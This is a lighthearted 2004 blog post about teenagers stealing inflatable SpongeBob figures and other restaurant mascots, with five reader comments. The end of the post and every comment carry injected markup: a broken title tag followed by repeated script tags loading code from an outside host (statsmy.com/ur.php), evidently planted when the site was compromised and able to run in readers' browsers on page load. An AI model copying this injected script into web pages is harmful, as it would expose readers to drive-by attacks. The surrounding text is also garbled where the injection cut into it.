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Who Kidnapped Spongebob Squarepants?

by Mark on 12/4/2004 (5)

Spongebob ransom photo demanding: "A chocolate milkshake with real chocolate in it and a decent straw to suck it through."

(AP) - With a recent plague of "Spongenappings" sweeping across America, law enforcement officials are hard-at-hand to explain the thefts of the inflatable Nickelodeon character from the roofs of Burger Kings, the charge often leading to a felony conviction and hefty fine.

So what's the appeal? Why steal Spongebob?

"Spongenappings" are certainly nothing new. Here are some other examples, worldwide:

Spaghetti Eddies Fat Boy filched (USA):
http://www.rednova.com/news/display/?id=14951

Sherwood Bear mascot stolen from forest (UK)
http://news.bbc.co.uk/1/hi/england/nottinghamshire/3696182.stm

Gizzard City fiberglass chicken decapitated, inflatable Shrek stolen, Big Boy lucks out (USA):
http://edition.cnn.com/2004/LAW/06/25/stupid.crimes/

Peko-chan kidnapped, auctioned on Yahoo for ¥250,000 (Japan): http://www.chipple.net/mt/archives/000724.php

Mr. Shrimps head stolen (USA):
http://www.brownsvilleherald.com/ts_more.php?id=61779_0_10_0_C

Why someone would steal a mascot is unclear, but it is probably a mix of teen rebellion and trivial teen values, as most of the perpetrators are teenagers.

As teens struggle into adulthood, they covet symbols of prestige, and the act of stealing a mascot, (both the brazen act and the trophy), is considered a status symbol among their social peer group . Fortunately, the passage into adulthood usually remedies the problem, as the perception of what is considered prestigious is shifted to more adult values, like obtaining high-paying jobs, houses and automobiles (hopefully legitimatly).

It also explains all those hood ornaments missing from luxury cars on my street in the 80's, although I didn't have anything to do with that. ;)"0"<0" style

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1. by Kris on 3/1/2007 4:52:29 PM

My buddy was up visiting the other week and he said we should steal the giant Sponge Bob from Burger King. Alas though, it was far to complicated an operation and we decided instead to drink numerous beers and pass outone">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Motz on 3/1/2007 4:52:29 PM

Good thing. The value of the inflatables exceeds 500$, making it a felony. A felony on your record in no joke. It's there for life. Just Like Barbara Bush.i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by akon on 3/1/2007 4:52:29 PM

don't you delete my comments"0" sty </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Detective Chris Johnston, Bay City PD on 3/1/2007 4:52:29 PM

Stealing anything, even Spongebob, is a serious crime and is very common committed by younger children. These children usually come from troubled backgrounds and in our town we try to help them with counseling and social workers instead of jail time in order to correct their problem. Otherwise, their crimes will progessively become worse. In my field, I see many adults who commit serious crimes, even murder, that began with petty crimes such as stealing when they were children. I'm glad the offensive, immature comments were deleted as this is no laughing matter. The youth of today is our future, and so they should learn right from wrongisplay:no </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by Smack That on 3/1/2007 4:52:29 PM

I'd smack that, detective."0" style </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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